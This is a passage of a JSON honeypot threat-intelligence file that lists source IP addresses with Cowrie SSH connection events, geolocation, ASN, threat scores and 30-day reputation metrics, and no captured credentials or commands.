      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 141739,
      "as_org": "China Telecom",
      "threat_score": 2.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T01:28:40.064000+00:00",
        "last_seen_30d": "2026-05-05T01:40:47.713000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "13.218.167.231": {
      "attack_count": 4,
      "first_seen": "2026-05-06T01:05:33.374Z",
      "last_seen": "2026-05-06T01:05:39.744Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 45.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 10.8,
        "persistence": 19.2,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 23,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-06T01:05:33.374000+00:00",
        "last_seen_30d": "2026-05-28T00:51:47.265000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 4,
        "Honeytrap": 2
      }
    },
    "196.188.179.26": {
      "attack_count": 4,
      "first_seen": "2026-05-13T06:37:43.699Z",
      "last_seen": "2026-05-13T06:39:45.782Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ethiopia",
      "country_code": "ET",
      "city": "Addis Ababa",
      "asn": 24757,
      "as_org": "Ethiopian Telecommunication Corporation",
      "threat_score": 8.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T06:37:43.699000+00:00",
        "last_seen_30d": "2026-05-13T06:50:45.701000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "20.163.14.222": {
      "attack_count": 4,
      "first_seen": "2026-05-10T23:39:12.099Z",
      "last_seen": "2026-05-10T23:39:22.547Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 53.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.8,
        "persistence": 17.5,
        "diversity": 12,
        "spread": 15,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 48,
        "days_active_30d": 21,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-07T23:05:44.660000+00:00",
        "last_seen_30d": "2026-05-27T07:50:52.262000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 38,
        "Honeytrap": 6,
        "Cowrie": 4
      }
    },
    "205.210.31.166": {
      "attack_count": 4,
      "first_seen": "2026-05-04T04:20:32.883Z",
      "last_seen": "2026-05-04T04:20:36.293Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 90.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 108,
        "days_active_30d": 30,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-02T22:11:08+00:00",
        "last_seen_30d": "2026-05-31T01:45:25.811000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 69,
        "Honeytrap": 31,
        "Cowrie": 4,
        "Ciscoasa": 2,
        "Dionaea": 1,
        "Honeyaml": 1
      }
    },
    "205.210.31.244": {
      "attack_count": 4,
      "first_seen": "2026-05-14T16:21:20.993Z",
      "last_seen": "2026-05-14T16:21:24.585Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 90.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.1,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 129,
        "days_active_30d": 29,
        "ports_targeted_30d": 37,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-03T05:39:38.409000+00:00",
        "last_seen_30d": "2026-05-31T02:45:04.901000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 84,
        "Honeytrap": 35,
        "ConPot": 4,
        "Cowrie": 4,
        "Dicompot": 1,
        "Wordpot": 1
      }
    },
    "27.22.66.162": {
      "attack_count": 4,
      "first_seen": "2026-05-19T06:29:40.987Z",
      "last_seen": "2026-05-19T06:30:56.158Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:29:40.987000+00:00",
        "last_seen_30d": "2026-05-19T06:32:06.454000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "64.62.197.232": {
      "attack_count": 4,
      "first_seen": "2026-05-21T05:33:11.586Z",
      "last_seen": "2026-05-21T05:33:15.595Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 52.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.6,
        "persistence": 17.5,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 21,
        "ports_targeted_30d": 12,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-03T05:26:40.103000+00:00",
        "last_seen_30d": "2026-05-23T08:06:15.845000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 19,
        "Honeytrap": 5,
        "Cowrie": 4,
        "Ciscoasa": 1
      }
    },
    "106.43.100.230": {
      "attack_count": 2,
      "first_seen": "2026-05-27T03:30:11.883Z",
      "last_seen": "2026-05-27T03:30:24.167Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T03:30:11.883000+00:00",
        "last_seen_30d": "2026-05-27T03:31:33.218000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "114.25.184.217": {
      "attack_count": 2,
      "first_seen": "2026-05-06T07:08:35.099Z",
      "last_seen": "2026-05-06T07:08:50.140Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Pingzhen",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T07:08:35.099000+00:00",
        "last_seen_30d": "2026-05-06T07:09:54.010000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "115.211.17.208": {
      "attack_count": 2,
      "first_seen": "2026-05-10T21:21:30.820Z",
      "last_seen": "2026-05-10T21:21:45.007Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T21:21:30.820000+00:00",
        "last_seen_30d": "2026-05-10T21:22:53.543000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "119.47.179.44": {
      "attack_count": 2,
      "first_seen": "2026-05-13T09:12:20.166Z",
      "last_seen": "2026-05-13T09:12:50.674Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Kego",
      "asn": 7679,
      "as_org": "QTnet,Inc.",
      "threat_score": 7.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T09:12:20.166000+00:00",
        "last_seen_30d": "2026-05-13T09:14:00.195000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "121.61.136.151": {
      "attack_count": 2,
      "first_seen": "2026-05-23T13:30:29.008Z",
      "last_seen": "2026-05-23T13:30:42.277Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T13:30:29.008000+00:00",
        "last_seen_30d": "2026-05-23T13:31:50.162000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "123.165.153.71": {
      "attack_count": 2,
      "first_seen": "2026-05-22T21:11:19.473Z",
      "last_seen": "2026-05-22T21:11:55.962Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T21:11:19.473000+00:00",
        "last_seen_30d": "2026-05-22T21:12:57.169000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "170.83.116.44": {
      "attack_count": 2,
      "first_seen": "2026-05-24T20:30:40.828Z",
      "last_seen": "2026-05-24T20:32:40.844Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Honduras",
      "country_code": "HN",
      "city": "San Pedro Sula",
      "asn": 271971,
      "as_org": "CABLE SATELITE S.DE R.L. DE C.V.",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T20:30:40.828000+00:00",
        "last_seen_30d": "2026-05-24T20:33:46.201000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "171.114.228.101": {
      "attack_count": 2,
      "first_seen": "2026-05-23T06:12:28.723Z",
      "last_seen": "2026-05-23T06:12:41.912Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T06:12:28.723000+00:00",
        "last_seen_30d": "2026-05-23T06:13:43.688000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "171.114.229.160": {
      "attack_count": 2,
      "first_seen": "2026-05-23T13:29:33.863Z",
      "last_seen": "2026-05-23T13:30:02.242Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T13:29:33.863000+00:00",
        "last_seen_30d": "2026-05-23T13:31:11.324000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "171.12.244.162": {
      "attack_count": 2,
      "first_seen": "2026-05-27T13:49:19.503Z",
      "last_seen": "2026-05-27T13:49:32.537Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Luoyang",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T13:49:19.503000+00:00",
        "last_seen_30d": "2026-05-27T13:50:37.979000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "176.28.159.204": {
      "attack_count": 2,
      "first_seen": "2026-05-18T11:40:02.738Z",
      "last_seen": "2026-05-18T11:40:16.282Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Jordan",
      "country_code": "JO",
      "city": "Amman",
      "asn": 48832,
      "as_org": "Jordanian mobile phone services Ltd",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T11:40:02.738000+00:00",
        "last_seen_30d": "2026-05-18T11:41:24.597000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "176.44.31.60": {
      "attack_count": 2,
      "first_seen": "2026-05-19T20:36:52.986Z",
      "last_seen": "2026-05-19T20:37:06.369Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Saudi Arabia",
      "country_code": "SA",
      "city": "Riyadh",
      "asn": 25019,
      "as_org": "Saudi Telecom Company JSC",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T20:36:52.986000+00:00",
        "last_seen_30d": "2026-05-19T20:38:06.883000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "180.180.103.229": {
      "attack_count": 2,
      "first_seen": "2026-05-04T14:57:00.499Z",
      "last_seen": "2026-05-04T14:57:13.643Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Bang Lamung",
      "asn": 23969,
      "as_org": "TOT Public Company Limited",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T14:57:00.499000+00:00",
        "last_seen_30d": "2026-05-04T14:58:19.049000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "181.79.87.93": {
      "attack_count": 2,
      "first_seen": "2026-05-17T01:23:19.986Z",
      "last_seen": "2026-05-17T01:23:33.228Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "C\u00facuta",
      "asn": 52468,
      "as_org": "UFINET PANAMA S.A.",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T01:23:19.986000+00:00",
        "last_seen_30d": "2026-05-17T01:24:35.116000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "183.35.50.147": {
      "attack_count": 2,
      "first_seen": "2026-05-20T18:38:24.431Z",
      "last_seen": "2026-05-20T18:38:36.753Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 140319,
      "as_org": "CHINATELECOM Guangdong province Qingyuan 5G network",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T18:38:24.431000+00:00",
        "last_seen_30d": "2026-05-20T18:39:43.889000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "187.150.229.101": {
      "attack_count": 2,
      "first_seen": "2026-05-14T10:37:41.060Z",
      "last_seen": "2026-05-14T10:39:41.061Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Ju\u00e1rez",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T10:37:41.060000+00:00",
        "last_seen_30d": "2026-05-14T10:50:37.040000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "187.87.162.241": {
      "attack_count": 2,
      "first_seen": "2026-05-04T15:03:28.622Z",
      "last_seen": "2026-05-04T15:03:42.840Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Ibia\u00ed",
      "asn": 53076,
      "as_org": "INTERPIRA INTERNET SERVICE PROVIDER LTDA",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T15:03:28.622000+00:00",
        "last_seen_30d": "2026-05-04T15:04:44.234000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "191.123.142.112": {
      "attack_count": 2,
      "first_seen": "2026-05-25T08:27:43.502Z",
      "last_seen": "2026-05-25T08:27:46.890Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Manaus",
      "asn": 26615,
      "as_org": "TIM SA",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T08:27:43.502000+00:00",
        "last_seen_30d": "2026-05-25T08:28:51.738000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "191.58.42.172": {
      "attack_count": 2,
      "first_seen": "2026-05-23T08:37:59.306Z",
      "last_seen": "2026-05-23T08:38:12.265Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 4230,
      "as_org": "CLARO S.A.",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T08:37:59.306000+00:00",
        "last_seen_30d": "2026-05-23T08:39:15.497000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "202.4.127.150": {
      "attack_count": 2,
      "first_seen": "2026-05-16T22:14:21.032Z",
      "last_seen": "2026-05-16T22:14:34.497Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": "Dhaka",
      "asn": 23956,
      "as_org": "AmberIT Limited",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T22:14:21.032000+00:00",
        "last_seen_30d": "2026-05-16T22:15:39.757000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "221.120.2.58": {
      "attack_count": 2,
      "first_seen": "2026-05-26T20:53:52.771Z",
      "last_seen": "2026-05-26T20:54:12.187Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": null,
      "asn": 17421,
      "as_org": "Mobile Business Group",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
